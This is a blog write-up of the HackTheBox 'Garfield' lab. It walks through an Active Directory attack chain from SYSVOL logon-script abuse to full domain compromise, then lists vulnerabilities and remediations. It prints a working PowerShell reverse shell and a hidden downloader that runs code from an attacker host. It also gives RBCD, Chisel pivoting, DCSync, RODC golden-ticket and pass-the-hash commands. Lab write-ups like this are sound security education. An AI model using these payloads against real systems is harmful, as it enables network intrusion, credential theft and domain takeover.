DEV Community

Cover image for HackTheBox : Garfield Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : Garfield Writeup

#cybersecurity #writeup #ctf #hackthebox

Summary

Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for j.arbuckle, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (l.wilson -> l.wilson_adm -> RODC01) but no way in as l.wilson itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (.bat launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to l.wilson's scriptPath yields a shell on next login.

From there, l.wilson resets l.wilson_adm's password directly (a delegated right), giving the user flag. l.wilson_adm holds WRITE on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, l.wilson_adm is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's krbtgt key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.

Key techniques: SMB credential leak -> BloodHound-invisible SYSVOL write access -> malicious logon script (fileless PowerShell reverse shell) -> delegated password reset -> RBCD against a writable RODC computer object -> internal network pivot via Chisel -> RODC group/PRP abuse -> forced credential replication -> RODC krbtgt extraction -> Golden Ticket / Key List Attack -> Pass-the-Hash as Administrator.

1. Reconnaissance

An nmap scan was run to identify open ports and services.

nmap -sC -sV -A <MACHINE-IP> -oA nmap-garfield

Nmap scan report for garfield.htb (<MACHINE-IP>)
Host is up (0.27s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-05 03:04:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00; +8h00m01s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-05T03:04:45
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Nmap done: 1 IP address (1 host up) scanned in 138.23 seconds
Enter fullscreen mode Exit fullscreen mode

This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: j.arbuckle.

1.1 DNS Enumeration 

dig @dc01.garfield.htb any garfield.htb

;; ANSWER SECTION:
garfield.htb.           600     IN      A       <MACHINE-IP>
garfield.htb.           3600    IN      NS      dc01.garfield.htb.
garfield.htb.           3600    IN      SOA     dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb.           600     IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

;; ADDITIONAL SECTION:
dc01.garfield.htb.      3600    IN      A       192.168.100.1
dc01.garfield.htb.      3600    IN      A       <MACHINE-IP>
dc01.garfield.htb.      3600    IN      AAAA    dead:beef::5a16:a5c9:fba3:d037
Enter fullscreen mode Exit fullscreen mode

The presence of a 192.168.x.x address alongside the public one indicates the domain controller is dual-homed - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.

1.2 SMB/LDAP Enumeration

Shares and users were enumerated with the leaked credentials:

nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated shares
SMB   <MACHINE-IP>   445   DC01   Share           Permissions     Remark
SMB   <MACHINE-IP>   445   DC01   -----           -----------     ------
SMB   <MACHINE-IP>   445   DC01   ADMIN$                          Remote Admin
SMB   <MACHINE-IP>   445   DC01   C$                              Default share
SMB   <MACHINE-IP>   445   DC01   IPC$            READ            Remote IPC
SMB   <MACHINE-IP>   445   DC01   NETLOGON        READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   SYSVOL          READ            Logon server share
Enter fullscreen mode Exit fullscreen mode 
nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB   <MACHINE-IP>   445   DC01   -Username-                    -Last PW Set-       -BadPW- -Description-
SMB   <MACHINE-IP>   445   DC01   Administrator                 2025-10-03 17:29:26 0       Built-in account for administering the computer/domain
SMB   <MACHINE-IP>   445   DC01   Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB   <MACHINE-IP>   445   DC01   krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account
SMB   <MACHINE-IP>   445   DC01   krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account for read-only domain controller
SMB   <MACHINE-IP>   445   DC01   j.arbuckle                    2025-09-09 15:50:55 0
SMB   <MACHINE-IP>   445   DC01   l.wilson                      2026-01-27 21:40:33 0
SMB   <MACHINE-IP>   445   DC01   l.wilson_adm                  2026-01-13 14:56:35 0
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated 7 local users: GARFIELD
Enter fullscreen mode Exit fullscreen mode

Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of krbtgt_8245 - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.

2. Active Directory Enumeration 

bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc DC01.garfield.htb -c All
Enter fullscreen mode Exit fullscreen mode

Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:

  1. l.wilson -> can reset the password of l.wilson_adm
  2. l.wilson_adm -> can self-add to RODC01 Administrators@garfield.htb
  3. l.wilson_adm -> can change the password of RODC01.garfield.htb

These paths are promising, but all of them require access to l.wilson first - and nothing in the graph explains how to get there.

3. Initial Foothold via SYSVOL

3.1 The BloodHound Blind Spot

This attack path doesn't appear in BloodHound because of a structural limitation:

  • Object vs. file permissions - BloodHound models Active Directory object ACLs, but does not analyze NTFS permissions inside SYSVOL.
  • GPO delegation mismatch - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL files without touching the AD object's own ACL.

The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.

j.arbuckle is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using smbclient, the group turned out to have write access to logon scripts:

# Verify write access
smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /etc/hosts test.txt"

putting file /etc/hosts as \garfield.htb\scripts\test.txt (1.9 kB/s) (average 1.9 kB/s)
Enter fullscreen mode Exit fullscreen mode

The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise l.wilson, which in turn opens the l.wilson_adm -> RODC01 chain already identified.

3.2 Reverse Shell Payload

A two-stage payload was used to execute code via AD logon scripts:

  • A .bat launcher (evil.bat) as the logon script itself
  • A PowerShell reverse shell (shell.ps1), downloaded and executed in memory by the launcher

PowerShell payload (shell.ps1):

$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER-IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
Enter fullscreen mode Exit fullscreen mode

Logon script launcher (evil.bat):

@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER-IP>/shell.ps1')"
Enter fullscreen mode Exit fullscreen mode

This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.

3.3 Hosting and Uploading the Payload 

python3 -m http.server 80

smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /path/to/evil.bat evil.bat"
Enter fullscreen mode Exit fullscreen mode

Start a listener:

nc -lnvp 4444
Enter fullscreen mode Exit fullscreen mode

Set l.wilson's logon script path to point at the malicious script:

bloodyAD -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host <MACHINE-IP> \
  set object l.wilson scriptPath -v "evil.bat"
Enter fullscreen mode Exit fullscreen mode

When l.wilson next logs in, the logon script runs and a reverse shell connects back to the attacker.

Note: Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.

4. Lateral Movement

BloodHound had already flagged that l.wilson can change the password of l.wilson_adm.

4.1 Resetting the Password for l.wilson_adm

From the shell obtained as l.wilson:

$user = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$user.SetPassword("Password12!")
$user.SetInfo()
Enter fullscreen mode Exit fullscreen mode

4.2 User Flag 

evil-winrm -i <MACHINE-IP> -u 'l.wilson_adm' -p 'Password12!'

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\User.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

5. Privilege Escalation

5.1 Writable Objects

With l.wilson_adm compromised, writable AD objects were enumerated:

bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password12!' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
Enter fullscreen mode Exit fullscreen mode

WRITE on the RODC01 computer object allows modification of its attributes - including msDS-AllowedToActOnBehalfOfOtherIdentity. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).

5.2 Resource-Based Constrained Delegation (RBCD)

With WRITE access over RODC01, the plan was to:

  • Create a machine account fully controlled by the attacker
  • Configure RBCD on RODC01 pointing at that account
  • Impersonate a privileged user (Administrator) when requesting a service ticket
  • Gain remote access to RODC01

An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname RODC01.garfield.htb, a DNS lookup was the next step.

5.3 Internal Network Discovery 

dig @dc01.garfield.htb RODC01.garfield.htb

;; ANSWER SECTION:
RODC01.garfield.htb.    1200    IN      A       192.168.100.2
Enter fullscreen mode Exit fullscreen mode

RODC01 resolves to 192.168.100.2 - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.

5.4 Pivoting via Chisel

A Chisel server was started on the attacker machine:

chisel server -p 8000 --reverse
Enter fullscreen mode Exit fullscreen mode

Chisel was uploaded to the l.wilson_adm session and connected back to establish a reverse SOCKS tunnel:

upload /path/to/chisel.exe
.\Chisel.exe client <ATTACKER-IP>:8000 R:socks
Enter fullscreen mode Exit fullscreen mode

Proxychains was then configured to route through the tunnel:

sudo nano /etc/proxychains4.conf
# Ensure:
socks5 127.0.0.1 1080
Enter fullscreen mode Exit fullscreen mode

Connectivity to the internal network was verified:

proxychains nmap -p445 -Pn 192.168.100.2

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds
Enter fullscreen mode Exit fullscreen mode

Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.

5.5 RBCD Exploitation

With l.wilson_adm controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.

Add l.wilson_adm to RODC Administrators:

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Get-ADGroupMember "RODC Administrators"
Enter fullscreen mode Exit fullscreen mode

Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:

evil-winrm -i <MACHINE-IP> -u l.wilson_adm -p 'Password12!'
Enter fullscreen mode Exit fullscreen mode

1. Add a fake computer account. By default, domain users can create a limited number of machine accounts (ms-DS-MachineAccountQuota), which is enough to create a fully attacker-controlled computer object required for RBCD:

addcomputer.py -dc-ip <MACHINE-IP> \
  -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123!' \
  'garfield.htb/l.wilson_adm:Password12!'
Enter fullscreen mode Exit fullscreen mode

2. Delegate RODC01 to the fake computer:

rbcd.py -delegate-to 'RODC01$' \
  -delegate-from 'EVIL$' \
  -action write \
  'garfield.htb/l.wilson_adm:Password12!' \
  -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode

3. Request a service ticket for RODC01, impersonating Administrator:

proxychains getST.py \
  garfield.htb/'EVIL$':'EvilPass123!' \
  -spn cifs/RODC01.garfield.htb \
  -impersonate Administrator \
  -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode

4. Export and use the ticket:

export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'
Enter fullscreen mode Exit fullscreen mode

5. Connect via wmiexec:

proxychains wmiexec.py -k -no-pass \
  -target-ip 192.168.100.2 \
  'garfield.htb/Administrator@RODC01.garfield.htb'
Enter fullscreen mode Exit fullscreen mode

5.6 Forcing Credential Replication

RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real Administrator account.

PowerView.ps1 (bundled by default on Kali) was uploaded to the l.wilson_adm session:

locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
Enter fullscreen mode Exit fullscreen mode 
upload /path/to/powerview.ps1
Enter fullscreen mode Exit fullscreen mode

Configure the RODC to cache Administrator credentials:

Import-Module .\PowerView.ps1

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup'=@(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}

Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'
Enter fullscreen mode Exit fullscreen mode

Force credential replication:

repadmin /rodcpwdrepl RODC01 DC01 "CN=Administrator,CN=Users,DC=garfield,DC=htb"

Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.
Enter fullscreen mode Exit fullscreen mode

5.7 Extracting Keys and Forging Tickets

With the real Administrator's credentials now cached on the RODC, its krbtgt_8245 key (the RODC-specific KDC key) was dumped with mimikatz:

mimikatz.exe lsadump::dcsync /user:garfield\krbtgt_8245
Enter fullscreen mode Exit fullscreen mode

Forging a RODC Golden Ticket using the extracted key (Rubeus uploaded to the RODC01 shell):

Note: Use Rubeus v2.3.3 or later - older versions silently ignore the /keyList flag.

.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap \
  /outfile:ticket.kirbi /aes256:<AES_KEY> /user:Administrator /id:500 \
  /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357
Enter fullscreen mode Exit fullscreen mode

Key List Attack - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:

.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb \
  /dc:DC01.garfield.htb \
  /ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap
Enter fullscreen mode Exit fullscreen mode

This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.

6. Root Flag 

evil-winrm -i <MACHINE-IP> -u Administrator -H 'EE..............2D5'

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         4/4/2026  11:55 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

7. Attack Chain Summary 

Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│   ├─ Nmap → Domain Controller identified (DC01)
│   ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│   └─ SMB/LDAP → Users & shares enumerated
│
├─ BloodHound Analysis
│   └─ Attack path identified (incomplete):
│       l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│   ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│   ├─ Upload malicious script (evil.bat + shell.ps1)
│   ├─ Set scriptPath for l.wilson
│   └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│   ├─ Reset password of l.wilson_adm
│   └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│   ├─ Enumerate writable objects
│   ├─ WRITE access on RODC01
│   └─ Resource-Based Constrained Delegation (RBCD)
│       ├─ Create fake machine account (EVIL$)
│       ├─ Configure delegation on RODC01
│       ├─ Request TGS impersonating Administrator
│       └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│   ├─ Identify internal IP (192.168.100.2)
│   ├─ Chisel reverse SOCKS tunnel
│   └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│   ├─ Add l.wilson_adm to RODC Administrators
│   ├─ Modify Password Replication Policy (allow Administrator)
│   ├─ Force credential replication (repadmin)
│   └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│   ├─ Forge RODC Golden Ticket (Rubeus)
│   └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
    └─ Pass-the-Hash → Administrator access (root flag)
Enter fullscreen mode Exit fullscreen mode

8. Key Vulnerabilities

# Vulnerability / Misconfiguration Description Impact
1 Credential exposure Valid credentials for j.arbuckle were available Initial domain access
2 SYSVOL write access User had write permissions on \\SYSVOL\scripts Logon script injection -> remote code execution
3 BloodHound-invisible attack path NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model Hidden privilege escalation path
4 Excessive AD delegation rights l.wilson can reset the password of l.wilson_adm Lateral movement
5 Privileged account misconfiguration l.wilson_adm holds high privileges over RODC01 Privilege escalation
6 Writable AD object (RODC01) WRITE access on the RODC01 computer object Enables RBCD attack
7 Resource-Based Constrained Delegation exposure Delegation settings modifiable by a low-privileged writable-object holder Impersonation of Administrator
8 Dual-homed domain controller DC exposed on an internal (192.168.x.x) network in addition to the public one Pivoting opportunity into internal segment
9 Poor network segmentation Internal network reachable once pivoted Access to otherwise-restricted hosts (RODC01)
10 No egress filtering Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted C2 and tunneling capability
11 RODC Administrators group mismanagement Attacker-controlled account added to RODC Administrators Elevated control over the RODC
12 Weak Password Replication Policy RODC PRP could be modified to allow replication of the real Administrator Credential exposure via a read-only DC
13 Forced credential replication repadmin used to force-replicate Administrator's credentials to RODC Credential dumping
14 Kerberos key exposure (krbtgt_8245) RODC-specific KRBTGT key extracted via DCSync Golden Ticket / Key List Attack
15 Lack of monitoring/detection No apparent alerting on script abuse, delegation changes, or forced replication Full domain compromise without detection

9. Remediations

Vulnerability Recommendation
Credential exposure Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation
SYSVOL write access via GPO delegation Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant
BloodHound-invisible SYSVOL paths Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. icacls, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene
Delegated password-reset rights (l.wilson -> l.wilson_adm) Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts
Writable RODC computer object Restrict WRITE access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only
RBCD misuse via ms-DS-MachineAccountQuota Set ms-DS-MachineAccountQuota to 0 for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks
Dual-homed DC / internal network exposure Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface
No egress filtering Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections
RODC Password Replication Policy weaknesses Keep the RODC PRP restrictive by default; alert on any modification of msDS-RevealOnDemandGroup or msDS-NeverRevealGroup
Forced credential replication (repadmin /rodcpwdrepl) Monitor and alert on RODC replication events targeting privileged accounts such as Administrator
RODC krbtgt key exposure Treat RODC KDC keys with the same sensitivity as the domain krbtgt key; monitor for DCSync-style requests against RODC service accounts
Lack of monitoring/detection Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators)

Top comments (0)